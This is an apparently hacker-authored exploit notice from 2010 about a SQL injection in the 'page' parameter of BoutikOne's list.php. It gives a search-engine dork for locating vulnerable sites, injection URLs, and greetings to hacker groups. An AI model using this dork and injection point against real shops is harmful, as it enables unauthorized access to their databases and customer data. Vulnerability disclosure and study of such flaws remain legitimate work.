________  _____________  / /_
  / ___/ _ \/ ___/ ___/ _ \/ __/
 (__  )  __/ /__/ /  /  __/ /_
/____/\___/\___/_/   \___/\__/
#####################################################################
# Exploit Title: BoutikOne® v1 (list.php) SQL Injection Vulnerabilitie
# Date: 19/09/2010
# Author: BrOx-Dz
# Author: E.dz@hotmail.fr
# Software Link: http://www.boutikone.com/
# Dork  : Powered by BoutikOne®
# Version: BoutikOne®
# Tested on: windows xp pack 3
#####################################################################
 
----------------------------------------------------------------------------
 
#e.g :
http://server/patch/list.php?lang=1&path=50&num=38&action=n&sort=Id&page=0[sql]
 
#demo :
http://www.site.com/list.php?lang=1&path=42&num=13&action=n&sort=Id&page=0'
 
----------------------------------------------------------------------------
greatez:
 
lagripe-dz  mca_crb  amine  halim all dz members.
 
www.sec4ever.com / www.v4-team.com/cc/ / www.h4ckforu.com/vb/.